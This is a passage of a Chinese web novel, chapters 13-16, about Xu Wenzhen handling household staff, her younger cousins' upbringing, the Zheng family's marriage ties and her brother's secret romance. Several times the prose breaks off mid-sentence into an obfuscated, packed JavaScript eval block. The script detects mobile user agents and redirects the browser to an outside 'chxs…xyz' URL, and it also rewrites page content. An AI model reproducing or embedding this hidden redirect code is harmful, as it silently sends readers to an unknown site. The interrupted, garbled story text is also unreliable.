看她如此欢喜的模样,寻春才露出一抹真情实意的笑,她依偎着叶妈妈,低声道:“阿娘,我又能给娘子办事了。” 13. 第13章 寻春知道她要进去后明日立刻开始办事,今天下午见一见人便是必要的,于是只将积攒许久兑好的银钱带在身上,其余东西都交给叶妈妈料理,独自先入府。 这一回却是先去向大长公主、大夫人依次问过安,才往临风馆去。 徐问真这正与四个妹妹坐着喝茶,问满等人近日是日日过来点卯,探望十七娘后,她若得闲,便与她说会话,她这若忙着,她们便往大长公主屋里坐去。 这会见寻春过来了,几人对她都还有些印象,寻春向她们请安后也连忙问好,年岁最长的问安笑吟吟地道:“寻春姐姐一向可好?可有几年未曾见过了。” 寒暄罢了,她若有所觉地看向徐问真,徐问真注意到她的目光,端着茶碗笑着点一点头。 问安有些惊讶,又似在意料之中,其余几人也与寻春客套寒暄两句,徐问真才切入正题:“你再不来,我也要叫人去喊你的。你就在这边等会,叫栖园里还说得上话的管事仆妇都过来,你见一见,趁着晚饭前的空子,让含霜引着你,再往总管房、厨茶库房上都走一圈,叫人认一认脸。明日开始上差,少不得要和这些人打交道。” 这些话大夫人已经嘱咐寻春一番了,她自己心里也有数,连忙应下,一旁年岁小些的问宁不由一惊,复又欢喜起来——她不大喜欢从前管事的柳眉,她与问安自幼养在公府,大夫人对她们二人十分疼惜照顾,柳眉自然不敢怠慢她们,但柳眉与七夫人处得亲热,对七房的几个娘子难免格外照顾些,偶尔分些小来小去的东西、或者新进了伶俐的小丫头,自然七房的娘子处得好处。 她们姊妹关系还算和睦,她不至于为这点东西嫉妒姊姊们,但厌烦柳眉就是肯定的了。 只是问安拘着她,不欲将这点小事闹将出来,她才吞下口气,没曾言声。这一回柳眉吃了挂落,她既心疼十七妹、恼恨柳眉,又觉得解气得很,如今听闻是还算熟悉的寻春来管事,心里就更放心了。 左右家里的管事娘子们她印象都差不多,莫不如从前长姊身边温柔敦厚的使女。,须知幼时她们凡到徐问真房里坐,哪怕再远些的亲眷女子到,寻春等人也必是一碗水端平,均是恭恭敬敬,绝无本家、外家亲疏贵贱的薄厚之分。 她欢喜地道:“往后就是寻春姐姐管园子了吗?可真好!我还听说伯母要主持修整明德堂,长姊是要搬回园中住了?” 徐问真有些无奈地指指外面,“瞧我如今这一院子人,还有许多在外头没喊回来呢,若不搬迁,真是住不下了。” 四人便笑,又在徐问真处稍坐一会,知道她有事,便起身告辞了。 四人又别过大长公主,出内院回栖园去。 近日天气和暖,四人并肩慢慢走着,问显忽然凑来问宁身边,道:“伯母要修整明德堂了?你几时知道的?哪里多宽敞华丽啊,还需要修整吗?” 问安侧首看了她一眼,问满不着痕迹地皱皱眉,已拉了拉她的袖口,打圆场道:“如今长姊带着两个侄儿,还有个十七娘一时半刻只怕也离不开长姊,光是这三人便添了多少仆妇女婢?明德堂再大只怕也不够住了。” 问宁就笑嘻嘻道:“今儿一早就有人进园里量地,八妹你竟然不知?日常真该多留些心了,外面那些诗会文会虽然热闹,可咱们家里的事还不关注?” 问显撇撇嘴,没等她和问宁继续说什么,问安便已开口道:“倒未必是要再大修大建,只是明德堂当年修葺得虽然金玉华丽,却未免太晃眼了些,长姊只怕并不喜欢。伯母唯有长姊一个女儿,长姊要回家长居,伯母自然想将屋室打点得令长姊居住舒心些。” 这倒是实话,她们几个自幼常往徐问真屋里去,很清楚徐问真一向喜欢的陈设布置是最要清雅幽静的,那些满屋子金碧辉煌,绝非徐问真所喜。 从清雅中显出富贵底蕴,是徐问真自幼跟着大长公主养出的本事,她们几个虽也在努力学习,但还总是自愧不如。 明德堂当年为了应付皇家赶工,修建得只能说是富丽堂皇,满屋金玉交辉。 不等问显再开口,问满便笑吟吟道:“长姊喜迁回园,咱们也该备一份乔迁贺礼,只是寻常咱们准备的东西怕也俗气,未必讨长姊喜欢,不如咱们亲手做些什么送给长姊,纵不贵重,却也是份心意。” 问安也含笑道:“正是这话。我想,咱们几个或合力做一套针线,或画一幅画,都很相宜。” 问显问宁的注意便被她们二人轻松牵走了,四人一路上商量着一路往回走,问真那边安排好了寻春的事,信春凑过来耳语两句,她也不过淡淡一笑。 都是人,又不是她手下的棋,只要在外别做出格的事连累合族老幼,能知道一家人的力气往一处使,弟妹们私下有些小心思她是不在意的。 而且有时候,有心思也是一重好处。左右无论温柔顺从还是多思多疑,徐家人总是要一致对外的,对自家人捅刀子的,下场请参照棺材板已经备好的徐问月。 不过,这几年她对家中弟妹关注得不太多,只是知道问安是个沉稳有成算的性子,不想从前处处跟着姊姊问圆,不显山不露水的问满也长大了。 问安的婚事已定,问满眼看也到了议亲的年纪。既然都被交给了她,那她就要打算打算,往她们肚子里都塞些什么了。 徐问真指尖轻点炕几,微微垂眸。 那边寻春出去走了一圈,回来后几人才说起栖园中剩下的人手。 顶头的柳眉,和查出犯事犯得过分的都已发落完毕,其余手脚稍微有些不干净,或有些小差池错处的,徐问真并不打算雷厉风行地全发配了。 一来,栖园里还要用人,真掐着错处全打发走了,只怕栖园中连上灶的人都剩不下;二来,这一阵徐家的动静已经够大了,再大批地发配下人出去,过于引人注目,如今正是召开春闱的关键时候,徐缜任科举改革后第一场春闱的主考官,这种时候徐家越低调越好。 在平稳上升的大家族中,能够春风化雨含而不露地解决事情就是最好的结果。 寻春下午也在心中分析了栖园的形势,这会听徐问真说了几句,更加明白她的意思,也忙将自己打算入园之后如何收拢人心、如何再小小杀鸡儆猴一番树立威信的事情说了,几人谈到掌灯时分,徐问真留寻春吃了晚饭,才叫凝露送她离开。 小院中的桃花一夜之间便开满枝头,明瑞明苓一早起来欢喜地围着树跑,问星也被声音惊动,央秋露抱她到窗边瞧瞧。 徐问真在窗边梳妆,瞧着她们嬉笑的模样,不禁也弯了弯唇角。 最温暖的春日终于降临留国公府。 随后的日子,问星的身体在白芍与医官们的调理下逐渐好转,并在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13829471|146135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秋露等人坚持不懈地教学下,终于学会说话了! 她头一个学会的是唤“姊姊”。 大长公主欢喜得紧,徐问真瞧她小猫一样蹭着撒娇也很欢喜,干脆借花敬佛,叫大长公主的小厨房额外做了些鲜美清淡的菜式给问星加餐,问星喝了许久的清汤寡水,一碰到小灶欢喜得就要上手搂徐问真。 徐问真并不适应如此热情,一瞬的愣怔已经被问星借坡上驴黏上了,她贴着问真,不断地唤“姊姊!“姊姊!” 徐问真回过神来,好笑地伸出一根手指戳着额头推开她,“该叫秋露再教你些别的,如今只学会粘人了!” 问星大约能听明白一点她在说什么,便知抿着嘴儿笑,水汪汪的圆眼睛黑亮亮,叫徐问真联想到她在山里喂的小狐狸崽子。 也不知她回了家,那小狐狸还到哪里讨饭去。 如此想着,她不禁心软了一点,拍拍问星的背,哄她道:“你好好地吃药、养身体、学说话,阿姊每日许你吃一块点心如何?” 问星反应一会,立刻用力点头,但她头上的伤尚未大好,用力点难免有些头晕,又犯了恶心,才吃进去的又倒了出来,脸色苍白地伏在软枕上,满面痛苦。 徐问真这才如此清晰地认识到什么叫做乐极生悲。 她无奈地摇摇头,又有些担忧问星的伤势,还是请白芍过来瞧了瞧。 白芍看过后少见地露出一丝笑,道:“娘子放心吧,十七娘子头上的伤好得很快,若不用力动作,是不会有不适的。会闹得如此严重,也是小娘子身体还未大好,过于虚弱的缘故。而且——秋露姊姊,你日后千万记得顿顿提醒小娘子少食多餐。” 她忍俊不禁,徐问真也是一愣,问星反应了一会后,费力地转过头,缩到床脚面壁思过去了。 “好了,长姊未曾笑你。”徐问真忍住笑过去哄她,“也是长姊大意了,下次不叫人给你做那么多。我们小娘子才多大?喝了这么多日米汤,难得见了新鲜菜式,岂有不喜欢的?” 问星原本只是窘迫,听完她的话就是满脸羞愤,更加不肯回头了。 一片欢喜笑闹中,院里的使女入内回话:“回娘子,郑家打发人来接五娘子、七娘子过去小住,人就要到了,夫人说请您先过去东院,人来了一起见见。” 徐问真立刻反应过来,她口中的郑家是五娘子、七娘子的外家。 郑家如今虽然在朝中地位不算很高,但他家是旧世家望族,百年前在文人中便很有威望,京中这一支靠着旧日家格办办文会、往来交际名流,倒也仍算显赫。 今日来的虽然只是仆妇,但既是代表郑家而来,让徐问真出去见,也是无形中向外宣告徐家大娘子回归交际圈,且身份与从前大不一样了。 至少这种外府来的仆妇,一般都是当家的女人见的,闺阁中娘子鲜少见这些人。 徐问真明白大夫人的意思,点点头,笑着垂首对缩在壳里当乌龟的小问星道:“长姊可去了,晚些再来看你,你不回头瞧瞧长姊?” 问星听人言语还是不大流利,得反应一小会,徐问真耐心等了等,就见小乌龟壳里有了动静,小娘子慢吞吞地蹭回身,仰起小脸看着徐问真,认真地唤:“姊姊!” 这就是告别的意思了。 徐问真揉了一把她的头发,笑吟吟地走了。 14. 第14章 东院上房里,徐大夫人正坐着吃茶,见到徐问真便笑道:“郑家打发人来,是要接你五妹妹、七妹妹过去小住,我想你往后是免不得与她们打交道,就先见见。” 问安问宁姊妹生母早逝,徐纺又常驻边关,自幼便被托付给徐大夫人教养,但郑家外大母也很惦念她们,常常接她们过去小住。 问安早早定下的亲事也是与郑家表哥亲上加亲,徐大夫人这段日子除了十七娘的事就是忙碌晚辈婚事,频繁参加各种聚会,攒出一肚子心得,忍不住要与女儿分享。 “论理,郑家如今的门第是攀不上咱家的。他家如今官位最高的不过一个五品,还不是什么实职,如今不过仗着祖宗的余荫在文人中赚个名头罢了,但要比名头,却还不如你六叔。” 徐大夫人口中的六叔是徐缜的堂弟,考中进士却未曾出仕,多年来以收藏金石为好,以书画双绝扬名,在文人中也很受吹捧。 他是有真本事打底的,自然远胜过只仗着祖宗名号的郑家。 郑家那种旧世家与徐家这种新门第其实相互都不大看得上,只是如今旧世家虽还自矜家格,却早不如前朝风光,所以虽然鄙夷新勋贵们粗鄙,还是忍不住上来攀亲。 而新门第们如今虽然如日中天,却也总觉得在底蕴上缺点什么,有时顺水推舟,两边便成就了婚事。 徐纺与亡妻的婚事就是这样来的。 但徐大夫人有一点没与徐问真说,当年郑家其实看中的并非徐纺,而是嫡支的徐缜、徐纪。徐缜年轻时初中进士正是意气风发的时候,便有不少旧世家想择此东床。 然而周家几代皇帝扶持寒门、打压世家的意态鲜明,徐虎昶立场坚定,坚持与同为新贵的赵家结亲。 后来郑家在其中上下游走,才终于从徐虎昶弟弟那逮到了徐纺这条鱼。 郑家如今在京也不大显眼,没什么呼风唤雨的能耐,听闻推出的女娘品行也都不错,徐虎昶弟弟弟妇又看中了,他就没再阻止,才使成了这一桩婚。 后来郑氏夫人诞下长女问安,恰逢她兄嫂的长子抓周,抓住了郑夫人送去的一块玉佩,郑家与郑夫人才又提起结儿女亲之事。 徐纺遂了郑夫人的心意,婚事便如此定下。 郑夫人诞下问宁后未几年便病逝了,姊妹二人被接到留国公府,每年四时八节,郑家往来走动得便更殷勤了。 徐大夫人看出他家的意思,虽大喜欢他家的做派,到底顾念问安问宁,还是与他们如平常亲戚一般往来。 不过对这门婚事,她其实算不上满意。 “郑家那小子,我也见过两面,活脱脱是个富贵公子哥儿,虽会念两首诗,也考了功名,做派却浮华得紧,听闻他家老夫人疼得什么似的,我瞧着,只怕还不如他父亲那点长袖善舞的本事呢。”趁着郑家的人没来,徐大夫人叹息着道。 只是毕竟是问安亡母定下的婚事,郑家无过,徐家怎可轻易悔婚? 徐问真微微一皱眉,徐大夫人纵然听了徐缜的劝,却还是忍不住不愿女儿操心的心,忙道:“不过这门婚事也有一点好,问安过去了自有她外大母疼,阿家纵有些闲话,总要顾及孝道,问安再有咱们家撑腰,必能早早顺利站稳脚跟,不怕有气受。” 亲上加亲就是这点好,在夫家也有自己人。 不过要大夫人说,娘子嫁到姑母家,远比嫁到外祖家要好。 最直接的一点就是,姑母年岁尚轻,外大母能再活多少年? 郑家那位夫人也不是好相与的,问安若没有徐家撑腰,纵然郑老夫人在世时她还能消停,等郑老夫人一走,只怕正要摆一摆婆婆的款儿呢。 徐问真却道:“五叔回京多半是入京营,最少是一个副职,问安的身份更加水涨船高,可等出了阁,若郎君不成气候,便低人一等,见个人都要低头,期间差距不可谓不大。” 他们这种家族,低嫁总要投资个前程,倘若郑家郎君不当事,那问安嫁去图什么?图扶植贫困外家吗? 徐大夫人叹惋道:“五娘的性情、人品都是极出挑的,若没有这门亲,哪怕不在门第相仿的人家,就是新科举子里漫着挑,也总能选出一个如意的来。” 她抚养问安问宁长大,最初只是出于责任,时下大家族行事多是如此,嫡支抚养族中孤女或失母女是常有的事,感情反而是后处出来的。 说一句功利的话,为何富裕的嫡支往往愿意帮助抚养甚至收养族中的孤女?还不在儿女姻缘的好处上。 世家大族间搭建人脉最快的方式,便是两姓约为婚姻。而要提拔看好的朝堂新人,最好的投资方式也是结亲。 人脉网络往往就是如此搭建出来的。 时下大族家家如此,许多功利的人家甚至将女娘按资质排高低等培养,议婚时待价而沽。 徐大夫人厌烦他们这等行径,对隔房的问安问宁与算是本家的问满姊妹一向一视同仁,甚至对问安问宁更亲近些。正因有感情在其中,她才更盼着这些孩子都能得好亲事。 她知道女子成婚便如投第二次胎,且徐问真方才说的也实在是实话。 当世女子一生的荣耀,往往前半生指望父族,后半生便要依靠夫族。 若夫族立不起来,除非父亲能一辈子身居高位、家门显赫,否则再是高门贵女,也有要低头的一天。 徐大夫人越想越糟心,叹息着道:“罢了,先看着吧。” 她也是无力回天,问安生母定下的婚事,她这个隔房的伯母有什么办法? 只盼着问安能稳得住,早些站稳脚跟,安顿好自己。 徐问真抬手为她添茶,未曾言声。 她在琢磨徐大夫人口中的“浮华”二字。斗金拼玉、夸耀繁华可称浮华,醉心玩乐、斗争缠头,也能称作浮华。 倘若郑家儿郎真立不住,叫问安嫁过去,白白瞎了她家的好娘子一生。 一朵鲜花插在牛粪上。 徐问真年轻时就爱管这种闲事,何况现在还是自家的事。 她垂眼琢磨着,熟悉她的人一眼就能看出来她肚子里坏水冒泡呢,偏生徐大夫人看她是哪哪都好,哪怕她捅人,徐大夫人也是只会递刀子的主。 含霜收回目光,知道自己大约快要有活干了。 郑家派来的是诰命县君的心腹人口——当世外命妇大约分为两类,宗亲一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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问宁闻言一喜,问安微怔后也立刻点头应诺,“多谢长姊。” 她又笑道:“姊姊不必担心,我们在外祖家,外大母对我们处处关照疼爱,舅母也十分照顾,并无什么不顺心的。” 问安已将及笄,容貌生得清丽,眉眼间又自有一种书香之韵,且她素日行举颇有种行云流水的自然之美,这会浅笑晏晏,恰如三春牡丹、盛夏翠竹,令人见之便心生和悦之情。 郑家那大郎若真如母亲所言,真是一朵鲜花插在牛粪上了。 徐问真心中如此想。 徐大夫人掐着指头算,“你们父亲应当能在你的笄礼之前回京,如此,笄礼之后便要开始纳采之礼了,三书六礼一重重地走下来,也就是这一二年的功夫……越说我越舍不得你到外祖去了。” 问安抿唇轻笑,这时郑家的嬷嬷也被引进来,请了两位娘子出门上车。 徐大夫人格外唤住跟二人出门的嬷嬷、使女,吩咐:“千万照顾好娘子,往她外家去,自有老县君疼她,我也不多啰嗦什么,只是你们在外不要依仗咱们家便轻狂起来,还要小心侍奉娘子们、郑家老县君才是。” 我们家是什么身份,我家娘子去了,你们都小心着些,倘若吃了委屈回来,我可不卖你们老县君面子。 众人连忙应是,郑家来的嬷嬷脸上倒是波澜不惊,笑着跟着客气。 15. 第15章 徐问真在一边看着,若有所思。 徐虎昶和大长公主教她的都是单刀直入的阳谋、直截了当的压制,他们教她煌煌之道,想叫她做个圣人君子,对阴谋诡计自然也教她辨别应付,但这些口舌机锋,却没叫她涉猎过——毕竟他二位也都没与人打过嘴仗。 听大夫人这样说话,倒挺有意思,且针对郑家这种不能撕破脸却也不怕得罪的人似乎别有奇效。 送走了人,徐大夫人一回头,见她这模样,便笑呵呵有些得意地道:“真儿你磊落惯了,岂不知对这种要脸的人,咱们比她们更要脸就能叫她们难受了!” 徐问真道:“还得母亲教我。” “凡是母亲会的,自然都想教给你。”徐大夫人与徐问真并身往回走,想牵她的手,想了想又顿住了。 徐问真便笑着先握住她的手,徐大夫人下意识一怔,旋即欣喜不受控制地涌到脸上,她连连道:“哪天娘带你出去逛逛,这样的热闹多了,你且看吧!” 徐问真再走时,那一对名贵花觚也被塞到她口袋里了,由凝霜小心翼翼地捧着锦盒,回到临风馆里又找不到地方安放。 徐问真寻思一会,还是撤下案上新换的官窑素白赏瓶,拎出一只花觚换上。 含霜叹道:“还是快搬到明德堂去吧,这屋子虽也幽雅,到底狭小了些,稍多一点玩器都显得太繁了。” 那边明苓明瑞抢在乳母前头哒哒哒跑进来,正见到这边换陈设,明苓喜欢极了新换的白赏瓶,觉着插碧桃花最好看,忙道:“怎么换瓶子了?这个多好看呀,姑母不也喜欢极了?” 徐问真笑了笑,将她抱起叫她摸一摸新花觚,“这是你婆婆给姑母的,姑母也喜欢极了,先换这个摆几日好不好?” 明苓爱屋及乌,听闻是婆婆给的,新花觚也顺眼不少,拄着下巴思索着道:“这个瓶子插白玉兰花或许好看。” 明瑞在旁慢吞吞点头,“不错。” 瞧他小大人的模样,徐问真忍俊不禁,点点他的额头,“休学你翁翁,才多大点?既如此,今日你们两个陪太婆婆到园子里赏花,顺便帮姑母折一枝玉兰回来插瓶可好?” 二人被她如此郑重托付,顿感肩抗大任,纷纷点头。 两个小捣蛋鬼就如此被徐问真顺利支走,又给近日春困懒得出门的大长公主也派了散步任务,问真满意地点点头,含霜笑道:“娘子好容易得半日闲,我烹一壶好茶来吃?” “不急,先传洛娘子来,月初了,该对上个月药材上的账目。”徐问真又道:“晚些问满与问显过来,去小厨房取问满喜欢的点心。” 至于问显嘛……打过棒子后,吃到的枣才甜嘛。太轻易得到的偏爱,依照问显的性情,只怕不会珍惜。 这段日子她细细留神关注,问显本性倒是不坏,只是太像七叔母了。 头脑没有多少,心思摆在脸上,真走出家门到京都的社交场中去,只怕被人连骨头渣子都啃干净,自己还没意识到了。 她已入学几年,不算小孩子了,性子并不容易扳。 但没关系,徐问真喜欢修理难修的小树。 将难修的小树修直了,日后观赏起来,心中才格外满意不是? 坦白讲,徐问真抚养明苓明瑞,甚至如今接手十七娘,除了出于血缘、责任与感情外,也因为她自己喜欢。 对她们这种人来说,抚养一个小孩子其实并不费力,真正费力的活自然都有仆从承担,至于其中她需要花费的心力——对她来说,照顾徐家的小树们,和侍弄花园中的牡丹区别不大。 抚养孩子,要操心孩子的品性与成长;侍弄牡丹,要操心花土的品质与花木的生机,左右都是操心,还是养孩子带给她的成就感更高。 如今,她的剪刀对准小有问题的小女娘八娘子问显,正跃跃欲试。 小孩子嘛,心里有点不平、嫉妒都可以理解,但那么直白地将所有情绪都表现出来就不好了。而且作为徐家的八娘子,问显必须明白,她的所有负面情绪,就仿佛刀剑的刃,必须对准家门外的人。 在家里挑三拣四耍些小孩子心机,不是这个年纪的女娘应该做的。 徐问真一直认为,即使本朝风气开放,女子地位还算较高,处境也总不如男人。那么,年轻的女娘们,就要先学会积攒力量、辨别敌友,学会在大家族中的生存之道,而不是天真懵懂,怀着对如意郎君和美满生活的期盼坐上花轿。 问满问显过来时洛娘子尚未离去,上个月府中耗费药材最多的就是徐问真这边,十七娘多的时候一日要用四五顿药,茶房那边熬完送来不便利,徐问真干脆拨出炉子与婆子,使人就在院里廊下给十七娘煎药。 如此药不离口,消耗不可谓不大,再就是大长公主那边,安神养心汤用了比往常多三四倍的分量。 这些药材珍贵的从府中内库取出,一般的从总管房支领银钱抓取,账目也要分两套记。洛娘子在徐家多年,清楚徐问真的性子风格,来之前准备充足,处处记录周详,徐问真十分满意。 问满问显被含霜招待着在堂屋椅子上坐下,听着二人一问一答,徐问严威严从容,洛娘子镇定恭敬,问显瞧着,不禁流露出一些向往之色。 少顷事完,洛娘子才低身告辞,徐问真露出一点笑,道:“月初事多,你们那也忙,今日看毕了账,你也不必总来回我,一应用度支领,你留心记住,隔一段日子来回一次便是。” 她新官上任,背后站着家里两位顶天的女主子,洛娘子是第一个直接负责向她汇报的管事娘子,这段日子战战兢兢,一刻不敢懈怠,从前账目上的“疏漏”早已补足,今日终于得了徐问真一句准话,心中顿时松一口气,忙道:“大娘子有心宽待,但若无娘子时时关怀帮扶,奴婢等无能之辈,只恐有所疏漏,故而才时时刻刻不敢松懈。” 徐问真含笑道:“你已做得很好了。”又叫人取出两匹纱罗,“这是新进的夏衫料子,我瞧着颜色还好,你女儿将要及笄了吧?很合给她用。”另有几吊钱,就是用来赏赐洛娘子下面的人的。 徐府药材上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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负责教习她们诗书文字的先生高娘子是洛城一代有名的才女,当年徐大夫人随同徐缜在任上时留下的交情,高娘子早年曾嫁过人,后来和离归家,以诗文扬名,前几年高家翁婆过世,高娘子在家中过得不大自在,正好徐家从前的女先生告辞回乡了,徐大夫人便修书请了她过来,做娘子们的“塾师”。 高娘子生性洒脱热烈不拘小节,但对女娘们功课要求却很严格,如今家中,除了大长公主外,问显也只怕高娘子一个。 问显露出一点苦色,“那么多的文章,怎么做得完!真是羡慕五姊和七姊,到郑家一住就是小半月,又省去多少功课。” 问满很不客气地问她:“那叫你到外家去住一段好不好?” 问显连忙摇头,徐问真看她喜乐好恶都挂在脸上的样子,倒觉有些好笑,命人取了茶点来,众人在堂屋落座,“我久不在家,已不知你们都喜欢什么,只隐约记得问满幼时好似喜欢芝麻饼,便命人备了一份。茶要吃什么?在这里无需拘束,只管张口就是。” 问满不期问真竟还记得她的口味,忙道:“多谢长姊惦记。” 问显也忙道:“长姊,我爱吃玫瑰酥饼!” 徐问真一笑——瞧瞧,小鱼上钩了。 16. 第16章 问显年岁不大,还是一派娇憨天真的模样,问满便显得斯文圆滑许多,但毕竟未经历练,难免有不够周全之处。 但徐问真看着她们,便如看两块未经雕琢的美玉,心中满意得很。 问满对她或许还有些少年时积攒下来的亲近、仰慕之情,问显对她的了解就只来自身边人的言语了,二人接触的时间尚短,徐问真并不急着赢得问显的真心。 她要先让问显习惯长姊的威严,生出仰慕之情的同时,也要逐渐信服。 这自然并非一日之功,徐问真对妹妹们很有耐心,笑吟吟地与她们吃茶果聊天,还顺手指点了她们的功课。 她五岁开蒙,自幼名师教导,又多读了这许多年书,在问满问显那里十分令人头疼的课业,她轻轻一点拨,就叫她们有穿透云雾、直得真谛的感觉。 问显连连道:“姊姊好厉害!” 问满也眼睛亮亮地看她,徐问真好笑道:“我比你们多读了多少年书?若连这些都不明白,岂不白活了?好了,等过段日子,我也回栖园住去,课业上你们若还有什么不明白,又不好意思问先生的,只管找我就是了。” 这回提起栖园,问显也没有什么眼热不平的了,欢欢喜喜地道:“姊姊真该早些回去住呢!往常五姊、七姊常往郑家去,十五娘……徐问月和十七娘也不与我们一道,我与六姊总是孤单得很呢!” 问满也徐徐道:“长姊搬回园子里,我们也终于又多了一处能走动的地方。只是长姊事忙,我们这些不过是小事,长姊的事才是大事,不能为长姊分忧已是我们的过失了,我们哪好总用这点子功课去打搅长姊?倒是平日我们得了空闲,也可以领瑞儿和苓娘玩耍,也算稍替长姊分忧。” 徐问真好笑道:“什么算大事?在我这,有什么事能比你们这些亲妹妹还大?” 二人都不免露出喜意,又在徐问真屋里坐了许久,直到女使来通传大长公主带着小娘子、小郎君回来了,三人才起身,一同往上院去。 晚饭是同在公主屋里吃的,大长公主对孙女们自然比儿妇亲近,笑吟吟地留了二人晚饭,才命稳妥人护送二人回去。 送走了两个孙女,大长公主侧头笑看徐问真,“终于要有动作了?” “十七娘好转些了,才有心思想家里这些事。”徐问真道。 大长公主一门门算着,叹道:“你这些弟妹,倒都不错,有些虽有些小心思,人却不坏。我是这两年没有精神头了,不然就如当年调理你三妹妹一般,也管教管教她们。” 说着,她又笑眯眯地看着问真,“幸而有我真娘在,如今这重担你能挑起,祖母就能放心了。” 她说是重担,其实是在给徐问真权力。 他们都清楚,家族的未来就落在这些小辈身上。家中的儿女们、族中的儿女们,走出去都代表徐家的脸面。 徐问真笑道:“我瞧问满倒是很像圆娘,性情看似随和,与人不争不抢,但谁若因此就想欺负她,只怕会被崩了牙齿。” 问圆是徐家这一辈的三娘子,与问满同胞而生,是七郎君、七夫人的长女,幼时也常到公主府小住。 在同排序齿的近支姊妹中,徐问真与问圆无疑最为亲密,这段日子细细观察,发现问满如此肖似问圆,心中十分惊喜。 大长公主看得明白,道:“问满出生时候,你七叔母觉着一个儿子不足以在徐家立足,心心念念立刻要再拼个儿子,便将问满撇给了问圆照顾,因而问满的性子、处事都像极了问圆。问显出生时,你叔母膝下有二子,自觉周全,对问显也多了些慈母之心,带在身边养育,也是机缘凑巧,问显的性子,生来就像你七叔母——也因这个,问显年满五岁,我便借要入学读书的由头,叫她搬进栖园住了,有她姊姊们敦促着些,行事倒是比幼时大方不少。” 她说着,意味不明地道:“你七叔母那个性子,只对她好是无用的。善意来得太轻易,她绝不会珍惜,非得要软硬兼施、慈威并济,才能叫她尊重信从。” 这个仲妇刚入门时,大长公主就察觉出这点,后来又发生许多事,公主也懒得再管她,干脆全交给七郎了。 这点心得,今天才有机会翻出来传授与人。 也只有她会与徐问真絮叨徐问真长辈,分析人的性情行为。 徐问真笑着道:“孙女晓得的,祖母察人,洞若观火。” “问显倒比她娘好些。”大长公主言行毫无顾忌,直接地道:“虽有些小心思,大体上还是好的。问满拘着她,又有礼仪教习在,这一二年间,言行举止也得体了些。” 但听这语气,就知道距她心中“得体”的标准还是有一段距离。 “还小呢。”徐问真口吻温和,“就像您院里的牡丹苗,如今连花骨朵还没打出来呢,正是精心呵护培育,等它长成的时候。” 大长公主一扬眉,笑吟吟看她,“那就瞧我们真娘妙手了。” 徐问真道:“小娘子们倒都还好。只是见通那边……有一宗事,我想还是先与您商量一番。” 大长公主见她如此正式,也郑重起来,“何事?可是他在外头遇到什么难处了?” 徐问真的胞弟见通,前两年弘文馆完业后并未直接入仕,而是跟随他的师父在外游学,上封家信回来,还说人在江南,将要陪他师父往白鹿洞书院去拜访旧友。 当然,他人在外头,家里也没有忘记他。 往日书信往来不说,近来徐大夫人忙着的婚事中就有他一个——七房的六郎见明、长房的七郎见通,这两个小郎同年,如今都是要相看议婚的年纪了。 徐大夫人花蝴蝶一般往来各家宴会,相看年轻女娘,满怀壮志、摩拳擦掌地打算选出两个家世品貌处处合心的儿妇、侄妇。 徐问真要说的正与这个相关,“见通私下来信与我,说他在白鹿洞结识了一位女娘,他……很是倾慕。想叫我在京中,于您与母亲跟前敲敲边鼓。” 大长公主闻言一惊,猛地坐直了身子,“你说什么?” 她痛苦地闭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13864836|146135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼,“见通怎么也学起你七叔来了……” 次子自己择的这个息妇,真是大长公主成婚后在家事上少有的头疼事了。 她倒不是挑剔七夫人出身,要论出身,天底下有几个女娘能比得上她?若都按她的眼光标准挑,难道她的儿孙各个都要尚公主不成? 在她看来,晚辈息妇,只要心地善良、品貌出挑就足够了,若是儿子喜欢,日后能够夫妇和顺更是没事,没什么可挑剔的了。 所以当年七郎君不愿结亲名门,坚持要娶出身寒微的陈氏,她因儿子喜欢,并未阻止,结果就是这一时疏忽……如今唯一值得宽慰的,就是好歹儿妇还是一心为儿子打算,夫妇二人感情和睦。 大长公主欲言又止,止言又欲,半晌才长长地叹了口气。 徐问真明白大长公主的无奈,轻声道:“按七郎所言,那位娘子倒是极不错的,性情、品貌、才学都无可挑剔,其父乃一方大儒,祖辈虽无功业,倒也算书香之家。” “你七叔父当年在我跟前还不是说得天花乱坠?”大长公主掩面叹息,然后坚道:“不成,这种事决不能光听他的话!他们如今发展到什么地步了?” 徐问真道:“他倒没说什么,只与我夸那娘子好,说喜欢人家,没说是否有回应,或许还是他剃头挑子一头热也未可知。” “那也不准。”大长公主道:“真娘你不知道,那群小子骗起人来脸都不热!” 她心里筹算着,叹息道:“他若实在有意,棒打鸳鸯是不成的,还得徐徐图之。你母亲那边,明日一早再说。叫我再筹算筹算……那女娘若实在好,出身差一些也不妨事,七郎与六郎到底是不同的。” 当朝尚书令、未来国公的幼子,与国公的孙儿、侄儿到底是不同的。 徐问真心中有数,点点头,道:“您放心,实在不成,我亲下江南杀他个措手不及,看一眼究竟是什么情况。” 